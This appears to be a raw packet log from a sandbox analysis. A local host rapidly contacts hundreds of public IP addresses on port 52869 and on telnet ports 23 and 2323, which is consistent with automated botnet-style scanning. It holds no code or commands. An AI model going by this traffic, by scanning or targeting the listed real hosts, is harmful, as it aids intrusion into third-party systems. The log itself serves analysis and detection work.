Dec 4, 2024 20:34:25.871243954 CET	60019	52869	192.168.2.14	41.74.212.165
Dec 4, 2024 20:34:25.871243954 CET	60019	52869	192.168.2.14	197.13.85.162
Dec 4, 2024 20:34:25.871258020 CET	60019	52869	192.168.2.14	41.204.228.145
Dec 4, 2024 20:34:25.871267080 CET	52869	60019	156.138.242.151	192.168.2.14
Dec 4, 2024 20:34:25.871279001 CET	52869	60019	41.47.150.192	192.168.2.14
Dec 4, 2024 20:34:25.871298075 CET	60019	52869	192.168.2.14	156.138.242.151
Dec 4, 2024 20:34:25.871320963 CET	52869	60019	197.112.39.52	192.168.2.14
Dec 4, 2024 20:34:25.871321917 CET	60019	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:25.871356964 CET	60019	52869	192.168.2.14	197.112.39.52
Dec 4, 2024 20:34:25.871361017 CET	52869	60019	41.6.59.74	192.168.2.14
Dec 4, 2024 20:34:25.871371031 CET	52869	60019	197.50.121.64	192.168.2.14
Dec 4, 2024 20:34:25.871393919 CET	60019	52869	192.168.2.14	41.6.59.74
Dec 4, 2024 20:34:25.871393919 CET	60019	52869	192.168.2.14	197.50.121.64
Dec 4, 2024 20:34:25.871409893 CET	52869	60019	156.240.145.137	192.168.2.14
Dec 4, 2024 20:34:25.871448040 CET	60019	52869	192.168.2.14	156.240.145.137
Dec 4, 2024 20:34:25.871460915 CET	52869	60019	197.172.165.205	192.168.2.14
Dec 4, 2024 20:34:25.871500015 CET	60019	52869	192.168.2.14	197.172.165.205
Dec 4, 2024 20:34:25.871500015 CET	52869	60019	197.189.47.51	192.168.2.14
Dec 4, 2024 20:34:25.871512890 CET	52869	60019	156.29.51.142	192.168.2.14
Dec 4, 2024 20:34:25.871521950 CET	52869	60019	41.63.183.123	192.168.2.14
Dec 4, 2024 20:34:25.871531010 CET	60019	52869	192.168.2.14	197.189.47.51
Dec 4, 2024 20:34:25.871540070 CET	52869	60019	156.179.3.91	192.168.2.14
Dec 4, 2024 20:34:25.871551037 CET	60019	52869	192.168.2.14	156.29.51.142
Dec 4, 2024 20:34:25.871551991 CET	60019	52869	192.168.2.14	41.63.183.123
Dec 4, 2024 20:34:25.871556044 CET	52869	60019	197.208.106.255	192.168.2.14
Dec 4, 2024 20:34:25.871570110 CET	60019	52869	192.168.2.14	156.179.3.91
Dec 4, 2024 20:34:25.871591091 CET	60019	52869	192.168.2.14	197.208.106.255
Dec 4, 2024 20:34:25.871597052 CET	52869	60019	156.168.207.39	192.168.2.14
Dec 4, 2024 20:34:25.871607065 CET	52869	60019	41.193.13.127	192.168.2.14
Dec 4, 2024 20:34:25.871615887 CET	52869	60019	41.19.117.92	192.168.2.14
Dec 4, 2024 20:34:25.871632099 CET	60019	52869	192.168.2.14	156.168.207.39
Dec 4, 2024 20:34:25.871644974 CET	60019	52869	192.168.2.14	41.193.13.127
Dec 4, 2024 20:34:25.871648073 CET	60019	52869	192.168.2.14	41.19.117.92
Dec 4, 2024 20:34:25.871685982 CET	52869	60019	41.74.65.247	192.168.2.14
Dec 4, 2024 20:34:25.871695995 CET	52869	60019	41.199.190.34	192.168.2.14
Dec 4, 2024 20:34:25.871704102 CET	52869	60019	156.82.221.129	192.168.2.14
Dec 4, 2024 20:34:25.871712923 CET	52869	60019	156.18.91.222	192.168.2.14
Dec 4, 2024 20:34:25.871721983 CET	52869	60019	197.30.212.88	192.168.2.14
Dec 4, 2024 20:34:25.871722937 CET	60019	52869	192.168.2.14	41.74.65.247
Dec 4, 2024 20:34:25.871731997 CET	52869	60019	156.93.153.88	192.168.2.14
Dec 4, 2024 20:34:25.871737957 CET	60019	52869	192.168.2.14	156.82.221.129
Dec 4, 2024 20:34:25.871747017 CET	60019	52869	192.168.2.14	41.199.190.34
Dec 4, 2024 20:34:25.871750116 CET	60019	52869	192.168.2.14	156.18.91.222
Dec 4, 2024 20:34:25.871750116 CET	60019	52869	192.168.2.14	197.30.212.88
Dec 4, 2024 20:34:25.871754885 CET	52869	60019	197.30.16.119	192.168.2.14
Dec 4, 2024 20:34:25.871764898 CET	52869	60019	156.199.59.166	192.168.2.14
Dec 4, 2024 20:34:25.871774912 CET	60019	52869	192.168.2.14	156.93.153.88
Dec 4, 2024 20:34:25.871795893 CET	60019	52869	192.168.2.14	197.30.16.119
Dec 4, 2024 20:34:25.871797085 CET	60019	52869	192.168.2.14	156.199.59.166
Dec 4, 2024 20:34:25.872498035 CET	52869	60019	41.183.46.202	192.168.2.14
Dec 4, 2024 20:34:25.872545958 CET	60019	52869	192.168.2.14	41.183.46.202
Dec 4, 2024 20:34:25.872559071 CET	52869	60019	197.28.154.184	192.168.2.14
Dec 4, 2024 20:34:25.872570038 CET	52869	60019	41.227.129.228	192.168.2.14
Dec 4, 2024 20:34:25.872577906 CET	52869	60019	41.14.217.141	192.168.2.14
Dec 4, 2024 20:34:25.872596025 CET	52869	60019	156.133.31.26	192.168.2.14
Dec 4, 2024 20:34:25.872601986 CET	60019	52869	192.168.2.14	197.28.154.184
Dec 4, 2024 20:34:25.872601986 CET	60019	52869	192.168.2.14	41.227.129.228
Dec 4, 2024 20:34:25.872606039 CET	52869	60019	156.241.126.158	192.168.2.14
Dec 4, 2024 20:34:25.872615099 CET	60019	52869	192.168.2.14	41.14.217.141
Dec 4, 2024 20:34:25.872617006 CET	52869	60019	41.254.67.195	192.168.2.14
Dec 4, 2024 20:34:25.872627974 CET	52869	60019	197.7.71.245	192.168.2.14
Dec 4, 2024 20:34:25.872637033 CET	52869	60019	197.134.199.44	192.168.2.14
Dec 4, 2024 20:34:25.872637033 CET	60019	52869	192.168.2.14	156.133.31.26
Dec 4, 2024 20:34:25.872648954 CET	60019	52869	192.168.2.14	41.254.67.195
Dec 4, 2024 20:34:25.872649908 CET	60019	52869	192.168.2.14	156.241.126.158
Dec 4, 2024 20:34:25.872652054 CET	60019	52869	192.168.2.14	197.7.71.245
Dec 4, 2024 20:34:25.872657061 CET	52869	60019	156.38.138.77	192.168.2.14
Dec 4, 2024 20:34:25.872675896 CET	60019	52869	192.168.2.14	197.134.199.44
Dec 4, 2024 20:34:25.872689962 CET	60019	52869	192.168.2.14	156.38.138.77
Dec 4, 2024 20:34:25.872695923 CET	52869	60019	156.26.104.85	192.168.2.14
Dec 4, 2024 20:34:25.872735977 CET	60019	52869	192.168.2.14	156.26.104.85
Dec 4, 2024 20:34:25.872756004 CET	52869	60019	156.83.22.152	192.168.2.14
Dec 4, 2024 20:34:25.872766018 CET	52869	60019	156.83.102.83	192.168.2.14
Dec 4, 2024 20:34:25.872793913 CET	60019	52869	192.168.2.14	156.83.22.152
Dec 4, 2024 20:34:25.872802019 CET	52869	60019	197.90.117.33	192.168.2.14
Dec 4, 2024 20:34:25.872812986 CET	60019	52869	192.168.2.14	156.83.102.83
Dec 4, 2024 20:34:25.872833967 CET	52869	60019	156.128.83.47	192.168.2.14
Dec 4, 2024 20:34:25.872834921 CET	60019	52869	192.168.2.14	197.90.117.33
Dec 4, 2024 20:34:25.872857094 CET	52869	60019	41.44.187.18	192.168.2.14
Dec 4, 2024 20:34:25.872872114 CET	60019	52869	192.168.2.14	156.128.83.47
Dec 4, 2024 20:34:25.872890949 CET	60019	52869	192.168.2.14	41.44.187.18
Dec 4, 2024 20:34:25.872891903 CET	52869	60019	156.36.131.175	192.168.2.14
Dec 4, 2024 20:34:25.872910023 CET	52869	60019	156.234.41.215	192.168.2.14
Dec 4, 2024 20:34:25.872926950 CET	60019	52869	192.168.2.14	156.36.131.175
Dec 4, 2024 20:34:25.872945070 CET	60019	52869	192.168.2.14	156.234.41.215
Dec 4, 2024 20:34:25.872952938 CET	52869	60019	197.22.207.91	192.168.2.14
Dec 4, 2024 20:34:25.872961044 CET	52869	60019	41.253.145.218	192.168.2.14
Dec 4, 2024 20:34:25.872992992 CET	60019	52869	192.168.2.14	197.22.207.91
Dec 4, 2024 20:34:25.873002052 CET	60019	52869	192.168.2.14	41.253.145.218
Dec 4, 2024 20:34:25.873043060 CET	52869	60019	197.144.177.43	192.168.2.14
Dec 4, 2024 20:34:25.873051882 CET	52869	60019	156.35.180.167	192.168.2.14
Dec 4, 2024 20:34:25.873061895 CET	52869	60019	197.91.41.94	192.168.2.14
Dec 4, 2024 20:34:25.873070955 CET	52869	60019	41.42.45.26	192.168.2.14
Dec 4, 2024 20:34:25.873080015 CET	60019	52869	192.168.2.14	197.144.177.43
Dec 4, 2024 20:34:25.873086929 CET	52869	60019	41.227.210.123	192.168.2.14
Dec 4, 2024 20:34:25.873092890 CET	60019	52869	192.168.2.14	197.91.41.94
Dec 4, 2024 20:34:25.873095036 CET	60019	52869	192.168.2.14	156.35.180.167
Dec 4, 2024 20:34:25.873104095 CET	52869	60019	197.31.79.10	192.168.2.14
Dec 4, 2024 20:34:25.873111963 CET	52869	60019	156.172.130.116	192.168.2.14
Dec 4, 2024 20:34:25.873112917 CET	60019	52869	192.168.2.14	41.42.45.26
Dec 4, 2024 20:34:25.873112917 CET	60019	52869	192.168.2.14	41.227.210.123
Dec 4, 2024 20:34:25.873120070 CET	52869	60019	156.128.142.243	192.168.2.14
Dec 4, 2024 20:34:25.873141050 CET	60019	52869	192.168.2.14	197.31.79.10
Dec 4, 2024 20:34:25.873142004 CET	60019	52869	192.168.2.14	156.172.130.116
Dec 4, 2024 20:34:25.873153925 CET	60019	52869	192.168.2.14	156.128.142.243
Dec 4, 2024 20:34:25.873811007 CET	52869	60019	197.211.60.118	192.168.2.14
Dec 4, 2024 20:34:25.873853922 CET	60019	52869	192.168.2.14	197.211.60.118
Dec 4, 2024 20:34:25.873868942 CET	52869	60019	41.252.161.173	192.168.2.14
Dec 4, 2024 20:34:25.873907089 CET	60019	52869	192.168.2.14	41.252.161.173
Dec 4, 2024 20:34:25.873908043 CET	52869	60019	197.84.144.119	192.168.2.14
Dec 4, 2024 20:34:25.873950005 CET	60019	52869	192.168.2.14	197.84.144.119
Dec 4, 2024 20:34:25.873969078 CET	52869	60019	156.160.44.49	192.168.2.14
Dec 4, 2024 20:34:25.873999119 CET	52869	60019	156.47.104.162	192.168.2.14
Dec 4, 2024 20:34:25.874006033 CET	60019	52869	192.168.2.14	156.160.44.49
Dec 4, 2024 20:34:25.874015093 CET	52869	60019	41.36.195.64	192.168.2.14
Dec 4, 2024 20:34:25.874033928 CET	60019	52869	192.168.2.14	156.47.104.162
Dec 4, 2024 20:34:25.874042988 CET	60019	52869	192.168.2.14	41.36.195.64
Dec 4, 2024 20:34:25.874058962 CET	52869	60019	41.25.0.112	192.168.2.14
Dec 4, 2024 20:34:25.874093056 CET	60019	52869	192.168.2.14	41.25.0.112
Dec 4, 2024 20:34:25.874119043 CET	52869	60019	156.243.139.125	192.168.2.14
Dec 4, 2024 20:34:25.874130011 CET	52869	60019	156.154.60.13	192.168.2.14
Dec 4, 2024 20:34:25.874155045 CET	60019	52869	192.168.2.14	156.243.139.125
Dec 4, 2024 20:34:25.874165058 CET	52869	60019	156.166.29.165	192.168.2.14
Dec 4, 2024 20:34:25.874167919 CET	60019	52869	192.168.2.14	156.154.60.13
Dec 4, 2024 20:34:25.874175072 CET	52869	60019	197.252.41.241	192.168.2.14
Dec 4, 2024 20:34:25.874185085 CET	52869	60019	156.69.189.34	192.168.2.14
Dec 4, 2024 20:34:25.874200106 CET	60019	52869	192.168.2.14	156.166.29.165
Dec 4, 2024 20:34:25.874202967 CET	60019	52869	192.168.2.14	197.252.41.241
Dec 4, 2024 20:34:25.874214888 CET	60019	52869	192.168.2.14	156.69.189.34
Dec 4, 2024 20:34:25.874217033 CET	52869	60019	41.148.169.10	192.168.2.14
Dec 4, 2024 20:34:25.874228001 CET	52869	60019	197.213.42.31	192.168.2.14
Dec 4, 2024 20:34:25.874252081 CET	60019	52869	192.168.2.14	41.148.169.10
Dec 4, 2024 20:34:25.874263048 CET	52869	60019	41.14.201.89	192.168.2.14
Dec 4, 2024 20:34:25.874267101 CET	60019	52869	192.168.2.14	197.213.42.31
Dec 4, 2024 20:34:25.874299049 CET	60019	52869	192.168.2.14	41.14.201.89
Dec 4, 2024 20:34:25.874376059 CET	52869	60019	41.231.180.76	192.168.2.14
Dec 4, 2024 20:34:25.874385118 CET	52869	60019	156.111.154.117	192.168.2.14
Dec 4, 2024 20:34:25.874394894 CET	52869	60019	156.118.244.67	192.168.2.14
Dec 4, 2024 20:34:25.874411106 CET	60019	52869	192.168.2.14	41.231.180.76
Dec 4, 2024 20:34:25.874411106 CET	60019	52869	192.168.2.14	156.111.154.117
Dec 4, 2024 20:34:25.874422073 CET	60019	52869	192.168.2.14	156.118.244.67
Dec 4, 2024 20:34:25.874438047 CET	52869	60019	156.239.19.92	192.168.2.14
Dec 4, 2024 20:34:25.874449015 CET	52869	60019	197.217.158.32	192.168.2.14
Dec 4, 2024 20:34:25.874476910 CET	60019	52869	192.168.2.14	156.239.19.92
Dec 4, 2024 20:34:25.874478102 CET	60019	52869	192.168.2.14	197.217.158.32
Dec 4, 2024 20:34:25.874530077 CET	52869	60019	197.212.159.208	192.168.2.14
Dec 4, 2024 20:34:25.874540091 CET	52869	60019	197.192.181.3	192.168.2.14
Dec 4, 2024 20:34:25.874547958 CET	52869	60019	156.83.159.250	192.168.2.14
Dec 4, 2024 20:34:25.874562025 CET	60019	52869	192.168.2.14	197.212.159.208
Dec 4, 2024 20:34:25.874577999 CET	60019	52869	192.168.2.14	197.192.181.3
Dec 4, 2024 20:34:25.874586105 CET	60019	52869	192.168.2.14	156.83.159.250
Dec 4, 2024 20:34:25.874592066 CET	52869	60019	156.51.202.12	192.168.2.14
Dec 4, 2024 20:34:25.874600887 CET	52869	60019	41.123.176.179	192.168.2.14
Dec 4, 2024 20:34:25.874608994 CET	52869	60019	41.205.9.203	192.168.2.14
Dec 4, 2024 20:34:25.874619007 CET	52869	60019	156.188.37.253	192.168.2.14
Dec 4, 2024 20:34:25.874629974 CET	60019	52869	192.168.2.14	156.51.202.12
Dec 4, 2024 20:34:25.874634981 CET	60019	52869	192.168.2.14	41.123.176.179
Dec 4, 2024 20:34:25.874653101 CET	60019	52869	192.168.2.14	41.205.9.203
Dec 4, 2024 20:34:25.874655962 CET	60019	52869	192.168.2.14	156.188.37.253
Dec 4, 2024 20:34:25.874687910 CET	52869	60019	156.35.61.136	192.168.2.14
Dec 4, 2024 20:34:25.874731064 CET	60019	52869	192.168.2.14	156.35.61.136
Dec 4, 2024 20:34:25.875276089 CET	52869	60019	156.255.147.247	192.168.2.14
Dec 4, 2024 20:34:25.875317097 CET	60019	52869	192.168.2.14	156.255.147.247
Dec 4, 2024 20:34:25.875324011 CET	52869	60019	197.83.45.11	192.168.2.14
Dec 4, 2024 20:34:25.875355959 CET	2323	60787	69.130.145.96	192.168.2.14
Dec 4, 2024 20:34:25.875365019 CET	60019	52869	192.168.2.14	197.83.45.11
Dec 4, 2024 20:34:25.875375032 CET	23	60787	200.177.53.241	192.168.2.14
Dec 4, 2024 20:34:25.875389099 CET	60787	2323	192.168.2.14	69.130.145.96
Dec 4, 2024 20:34:25.875406981 CET	23	60787	62.143.43.96	192.168.2.14
Dec 4, 2024 20:34:25.875410080 CET	60787	23	192.168.2.14	200.177.53.241
Dec 4, 2024 20:34:25.875432968 CET	23	60787	200.158.242.202	192.168.2.14
Dec 4, 2024 20:34:25.875441074 CET	60787	23	192.168.2.14	62.143.43.96
Dec 4, 2024 20:34:25.875464916 CET	60787	23	192.168.2.14	200.158.242.202
Dec 4, 2024 20:34:25.875483036 CET	23	60787	219.40.190.90	192.168.2.14
Dec 4, 2024 20:34:25.875494003 CET	23	60787	44.241.18.175	192.168.2.14
Dec 4, 2024 20:34:25.875521898 CET	60787	23	192.168.2.14	219.40.190.90
Dec 4, 2024 20:34:25.875524044 CET	60787	23	192.168.2.14	44.241.18.175
Dec 4, 2024 20:34:25.875534058 CET	23	60787	150.46.205.157	192.168.2.14
Dec 4, 2024 20:34:25.875543118 CET	23	60787	126.66.247.36	192.168.2.14
Dec 4, 2024 20:34:25.875552893 CET	23	60787	90.68.159.227	192.168.2.14
Dec 4, 2024 20:34:25.875574112 CET	60787	23	192.168.2.14	150.46.205.157
Dec 4, 2024 20:34:25.875576973 CET	60787	23	192.168.2.14	126.66.247.36
Dec 4, 2024 20:34:25.875605106 CET	60787	23	192.168.2.14	90.68.159.227
Dec 4, 2024 20:34:25.875618935 CET	23	60787	79.124.71.27	192.168.2.14
Dec 4, 2024 20:34:25.875631094 CET	23	60787	187.237.240.141	192.168.2.14
Dec 4, 2024 20:34:25.875653028 CET	60787	23	192.168.2.14	79.124.71.27
Dec 4, 2024 20:34:25.875663996 CET	60787	23	192.168.2.14	187.237.240.141
Dec 4, 2024 20:34:25.875684977 CET	2323	60787	118.226.36.87	192.168.2.14
Dec 4, 2024 20:34:25.875695944 CET	23	60787	58.21.227.128	192.168.2.14
Dec 4, 2024 20:34:25.875710964 CET	23	60787	46.205.23.250	192.168.2.14
Dec 4, 2024 20:34:25.875721931 CET	60787	2323	192.168.2.14	118.226.36.87
Dec 4, 2024 20:34:25.875726938 CET	23	60787	70.165.250.35	192.168.2.14
Dec 4, 2024 20:34:25.875732899 CET	60787	23	192.168.2.14	58.21.227.128
Dec 4, 2024 20:34:25.875747919 CET	60787	23	192.168.2.14	46.205.23.250
Dec 4, 2024 20:34:25.875756979 CET	60787	23	192.168.2.14	70.165.250.35
Dec 4, 2024 20:34:25.875786066 CET	23	60787	103.215.82.110	192.168.2.14
Dec 4, 2024 20:34:25.875796080 CET	23	60787	63.113.1.242	192.168.2.14
Dec 4, 2024 20:34:25.875823975 CET	60787	23	192.168.2.14	103.215.82.110
Dec 4, 2024 20:34:25.875843048 CET	60787	23	192.168.2.14	63.113.1.242
Dec 4, 2024 20:34:25.875919104 CET	23	60787	149.116.107.232	192.168.2.14
Dec 4, 2024 20:34:25.875929117 CET	23	60787	118.61.234.94	192.168.2.14
Dec 4, 2024 20:34:25.875936985 CET	23	60787	99.243.224.244	192.168.2.14
Dec 4, 2024 20:34:25.875946045 CET	23	60787	93.12.238.105	192.168.2.14
Dec 4, 2024 20:34:25.875953913 CET	60787	23	192.168.2.14	118.61.234.94
Dec 4, 2024 20:34:25.875960112 CET	60787	23	192.168.2.14	149.116.107.232
Dec 4, 2024 20:34:25.875962973 CET	23	60787	75.50.133.97	192.168.2.14
Dec 4, 2024 20:34:25.875967026 CET	60787	23	192.168.2.14	99.243.224.244
Dec 4, 2024 20:34:25.875977993 CET	60787	23	192.168.2.14	93.12.238.105
Dec 4, 2024 20:34:25.875994921 CET	23	60787	194.220.146.18	192.168.2.14
Dec 4, 2024 20:34:25.875999928 CET	60787	23	192.168.2.14	75.50.133.97
Dec 4, 2024 20:34:25.876003981 CET	23	60787	149.179.89.164	192.168.2.14
Dec 4, 2024 20:34:25.876013041 CET	23	60787	174.239.6.23	192.168.2.14
Dec 4, 2024 20:34:25.876027107 CET	60787	23	192.168.2.14	194.220.146.18
Dec 4, 2024 20:34:25.876043081 CET	60787	23	192.168.2.14	174.239.6.23
Dec 4, 2024 20:34:25.876045942 CET	60787	23	192.168.2.14	149.179.89.164
Dec 4, 2024 20:34:25.876199961 CET	2323	60787	98.228.19.47	192.168.2.14
Dec 4, 2024 20:34:25.876236916 CET	60787	2323	192.168.2.14	98.228.19.47
Dec 4, 2024 20:34:25.877572060 CET	23	60787	191.230.217.165	192.168.2.14
Dec 4, 2024 20:34:25.877584934 CET	23	60787	218.107.123.164	192.168.2.14
Dec 4, 2024 20:34:25.877605915 CET	23	60787	190.52.224.171	192.168.2.14
Dec 4, 2024 20:34:25.877614021 CET	60787	23	192.168.2.14	191.230.217.165
Dec 4, 2024 20:34:25.877614021 CET	60787	23	192.168.2.14	218.107.123.164
Dec 4, 2024 20:34:25.877638102 CET	60787	23	192.168.2.14	190.52.224.171
Dec 4, 2024 20:34:25.877706051 CET	23	60787	92.134.225.84	192.168.2.14
Dec 4, 2024 20:34:25.877733946 CET	2323	60787	191.200.110.9	192.168.2.14
Dec 4, 2024 20:34:25.877746105 CET	60787	23	192.168.2.14	92.134.225.84
Dec 4, 2024 20:34:25.877767086 CET	60787	2323	192.168.2.14	191.200.110.9
Dec 4, 2024 20:34:25.877863884 CET	23	60787	1.232.214.116	192.168.2.14
Dec 4, 2024 20:34:25.877873898 CET	23	60787	79.145.11.113	192.168.2.14
Dec 4, 2024 20:34:25.877888918 CET	23	60787	144.71.138.69	192.168.2.14
Dec 4, 2024 20:34:25.877897978 CET	23	60787	211.243.87.174	192.168.2.14
Dec 4, 2024 20:34:25.877901077 CET	60787	23	192.168.2.14	1.232.214.116
Dec 4, 2024 20:34:25.877904892 CET	60787	23	192.168.2.14	79.145.11.113
Dec 4, 2024 20:34:25.877916098 CET	23	60787	19.14.33.243	192.168.2.14
Dec 4, 2024 20:34:25.877922058 CET	60787	23	192.168.2.14	211.243.87.174
Dec 4, 2024 20:34:25.877924919 CET	60787	23	192.168.2.14	144.71.138.69
Dec 4, 2024 20:34:25.877924919 CET	23	60787	38.98.49.142	192.168.2.14
Dec 4, 2024 20:34:25.877935886 CET	23	60787	13.36.184.206	192.168.2.14
Dec 4, 2024 20:34:25.877950907 CET	23	60787	47.157.39.216	192.168.2.14
Dec 4, 2024 20:34:25.877952099 CET	60787	23	192.168.2.14	19.14.33.243
Dec 4, 2024 20:34:25.877954006 CET	60787	23	192.168.2.14	38.98.49.142
Dec 4, 2024 20:34:25.877969980 CET	2323	60787	61.171.255.120	192.168.2.14
Dec 4, 2024 20:34:25.877974987 CET	60787	23	192.168.2.14	13.36.184.206
Dec 4, 2024 20:34:25.877990961 CET	60787	23	192.168.2.14	47.157.39.216
Dec 4, 2024 20:34:25.878000975 CET	23	60787	65.62.53.87	192.168.2.14
Dec 4, 2024 20:34:25.878004074 CET	60787	2323	192.168.2.14	61.171.255.120
Dec 4, 2024 20:34:25.878037930 CET	60787	23	192.168.2.14	65.62.53.87
Dec 4, 2024 20:34:25.878060102 CET	23	60787	135.212.245.31	192.168.2.14
Dec 4, 2024 20:34:25.878073931 CET	23	60787	5.244.104.46	192.168.2.14
Dec 4, 2024 20:34:25.878082037 CET	23	60787	20.139.228.224	192.168.2.14
Dec 4, 2024 20:34:25.878098011 CET	60787	23	192.168.2.14	135.212.245.31
Dec 4, 2024 20:34:25.878102064 CET	60787	23	192.168.2.14	5.244.104.46
Dec 4, 2024 20:34:25.878129005 CET	60787	23	192.168.2.14	20.139.228.224
Dec 4, 2024 20:34:25.878262043 CET	23	60787	171.33.204.133	192.168.2.14
Dec 4, 2024 20:34:25.878271103 CET	23	60787	38.209.214.133	192.168.2.14
Dec 4, 2024 20:34:25.878279924 CET	23	60787	110.131.92.228	192.168.2.14
Dec 4, 2024 20:34:25.878283978 CET	23	60787	172.127.215.80	192.168.2.14
Dec 4, 2024 20:34:25.878292084 CET	23	60787	35.9.82.207	192.168.2.14
Dec 4, 2024 20:34:25.878298044 CET	60787	23	192.168.2.14	171.33.204.133
Dec 4, 2024 20:34:25.878302097 CET	23	60787	12.213.253.153	192.168.2.14
Dec 4, 2024 20:34:25.878305912 CET	60787	23	192.168.2.14	38.209.214.133
Dec 4, 2024 20:34:25.878312111 CET	2323	60787	90.232.251.79	192.168.2.14
Dec 4, 2024 20:34:25.878317118 CET	60787	23	192.168.2.14	110.131.92.228
Dec 4, 2024 20:34:25.878318071 CET	60787	23	192.168.2.14	35.9.82.207
Dec 4, 2024 20:34:25.878320932 CET	23	60787	184.34.95.46	192.168.2.14
Dec 4, 2024 20:34:25.878333092 CET	60787	23	192.168.2.14	12.213.253.153
Dec 4, 2024 20:34:25.878334045 CET	23	60787	78.204.197.216	192.168.2.14
Dec 4, 2024 20:34:25.878335953 CET	60787	23	192.168.2.14	172.127.215.80
Dec 4, 2024 20:34:25.878345966 CET	23	60787	153.130.161.62	192.168.2.14
Dec 4, 2024 20:34:25.878351927 CET	60787	2323	192.168.2.14	90.232.251.79
Dec 4, 2024 20:34:25.878357887 CET	60787	23	192.168.2.14	184.34.95.46
Dec 4, 2024 20:34:25.878366947 CET	60787	23	192.168.2.14	78.204.197.216
Dec 4, 2024 20:34:25.878382921 CET	60787	23	192.168.2.14	153.130.161.62
Dec 4, 2024 20:34:25.878902912 CET	23	60787	158.106.75.4	192.168.2.14
Dec 4, 2024 20:34:25.878911972 CET	23	60787	14.107.120.238	192.168.2.14
Dec 4, 2024 20:34:25.878926992 CET	23	60787	181.174.171.138	192.168.2.14
Dec 4, 2024 20:34:25.878936052 CET	23	60787	134.243.75.213	192.168.2.14
Dec 4, 2024 20:34:25.878937006 CET	60787	23	192.168.2.14	158.106.75.4
Dec 4, 2024 20:34:25.878953934 CET	60787	23	192.168.2.14	14.107.120.238
Dec 4, 2024 20:34:25.878968954 CET	2323	60787	180.153.77.162	192.168.2.14
Dec 4, 2024 20:34:25.878974915 CET	60787	23	192.168.2.14	134.243.75.213
Dec 4, 2024 20:34:25.878974915 CET	60787	23	192.168.2.14	181.174.171.138
Dec 4, 2024 20:34:25.878998995 CET	60787	2323	192.168.2.14	180.153.77.162
Dec 4, 2024 20:34:25.879028082 CET	23	60787	74.108.155.72	192.168.2.14
Dec 4, 2024 20:34:25.879080057 CET	23	60787	98.8.135.59	192.168.2.14
Dec 4, 2024 20:34:25.879106045 CET	23	60787	123.11.212.5	192.168.2.14
Dec 4, 2024 20:34:25.879112005 CET	60787	23	192.168.2.14	74.108.155.72
Dec 4, 2024 20:34:25.879117966 CET	60787	23	192.168.2.14	98.8.135.59
Dec 4, 2024 20:34:25.879126072 CET	23	60787	5.41.97.192	192.168.2.14
Dec 4, 2024 20:34:25.879143000 CET	60787	23	192.168.2.14	123.11.212.5
Dec 4, 2024 20:34:25.879156113 CET	60787	23	192.168.2.14	5.41.97.192
Dec 4, 2024 20:34:25.879159927 CET	23	60787	70.70.14.56	192.168.2.14
Dec 4, 2024 20:34:25.879188061 CET	60787	23	192.168.2.14	70.70.14.56
Dec 4, 2024 20:34:25.879234076 CET	23	60787	187.169.19.1	192.168.2.14
Dec 4, 2024 20:34:25.879246950 CET	23	60787	136.18.7.221	192.168.2.14
Dec 4, 2024 20:34:25.879271984 CET	60787	23	192.168.2.14	187.169.19.1
Dec 4, 2024 20:34:25.879277945 CET	60787	23	192.168.2.14	136.18.7.221
Dec 4, 2024 20:34:25.879281998 CET	23	60787	154.232.185.32	192.168.2.14
Dec 4, 2024 20:34:25.879292011 CET	23	60787	193.246.211.161	192.168.2.14
Dec 4, 2024 20:34:25.879302979 CET	23	60787	150.98.49.127	192.168.2.14
Dec 4, 2024 20:34:25.879318953 CET	60787	23	192.168.2.14	154.232.185.32
Dec 4, 2024 20:34:25.879321098 CET	60787	23	192.168.2.14	193.246.211.161
Dec 4, 2024 20:34:25.879342079 CET	60787	23	192.168.2.14	150.98.49.127
Dec 4, 2024 20:34:25.879369974 CET	23	60787	146.15.180.6	192.168.2.14
Dec 4, 2024 20:34:25.879405975 CET	60787	23	192.168.2.14	146.15.180.6
Dec 4, 2024 20:34:25.879410028 CET	2323	60787	93.205.149.228	192.168.2.14
Dec 4, 2024 20:34:25.879421949 CET	23	60787	147.6.14.161	192.168.2.14
Dec 4, 2024 20:34:25.879446983 CET	60787	2323	192.168.2.14	93.205.149.228
Dec 4, 2024 20:34:25.879448891 CET	60787	23	192.168.2.14	147.6.14.161
Dec 4, 2024 20:34:25.879471064 CET	23	60787	124.238.14.218	192.168.2.14
Dec 4, 2024 20:34:25.879481077 CET	23	60787	102.23.129.102	192.168.2.14
Dec 4, 2024 20:34:25.879508018 CET	60787	23	192.168.2.14	124.238.14.218
Dec 4, 2024 20:34:25.879522085 CET	60787	23	192.168.2.14	102.23.129.102
Dec 4, 2024 20:34:25.879534960 CET	23	60787	19.84.201.71	192.168.2.14
Dec 4, 2024 20:34:25.879573107 CET	60787	23	192.168.2.14	19.84.201.71
Dec 4, 2024 20:34:25.879601002 CET	23	60787	98.57.163.72	192.168.2.14
Dec 4, 2024 20:34:25.879637003 CET	60787	23	192.168.2.14	98.57.163.72
Dec 4, 2024 20:34:25.879645109 CET	23	60787	104.188.243.241	192.168.2.14
Dec 4, 2024 20:34:25.879681110 CET	60787	23	192.168.2.14	104.188.243.241
Dec 4, 2024 20:34:25.879697084 CET	23	60787	118.21.154.230	192.168.2.14
Dec 4, 2024 20:34:25.879735947 CET	23	60787	185.196.125.188	192.168.2.14
Dec 4, 2024 20:34:25.879741907 CET	60787	23	192.168.2.14	118.21.154.230
Dec 4, 2024 20:34:25.879764080 CET	2323	60787	94.182.153.96	192.168.2.14
Dec 4, 2024 20:34:25.879772902 CET	60787	23	192.168.2.14	185.196.125.188
Dec 4, 2024 20:34:25.879774094 CET	23	60787	62.200.219.212	192.168.2.14
Dec 4, 2024 20:34:25.879789114 CET	60787	2323	192.168.2.14	94.182.153.96
Dec 4, 2024 20:34:25.879810095 CET	60787	23	192.168.2.14	62.200.219.212
Dec 4, 2024 20:34:25.879812002 CET	23	60787	146.171.40.191	192.168.2.14
Dec 4, 2024 20:34:25.879842997 CET	60787	23	192.168.2.14	146.171.40.191
Dec 4, 2024 20:34:25.880604029 CET	23	60787	39.60.109.174	192.168.2.14
Dec 4, 2024 20:34:25.880635977 CET	23	60787	151.78.15.48	192.168.2.14
Dec 4, 2024 20:34:25.880645037 CET	60787	23	192.168.2.14	39.60.109.174
Dec 4, 2024 20:34:25.880673885 CET	60787	23	192.168.2.14	151.78.15.48
Dec 4, 2024 20:34:25.880675077 CET	23	60787	150.160.252.4	192.168.2.14
Dec 4, 2024 20:34:25.880688906 CET	23	60787	166.190.139.93	192.168.2.14
Dec 4, 2024 20:34:25.880712032 CET	60787	23	192.168.2.14	150.160.252.4
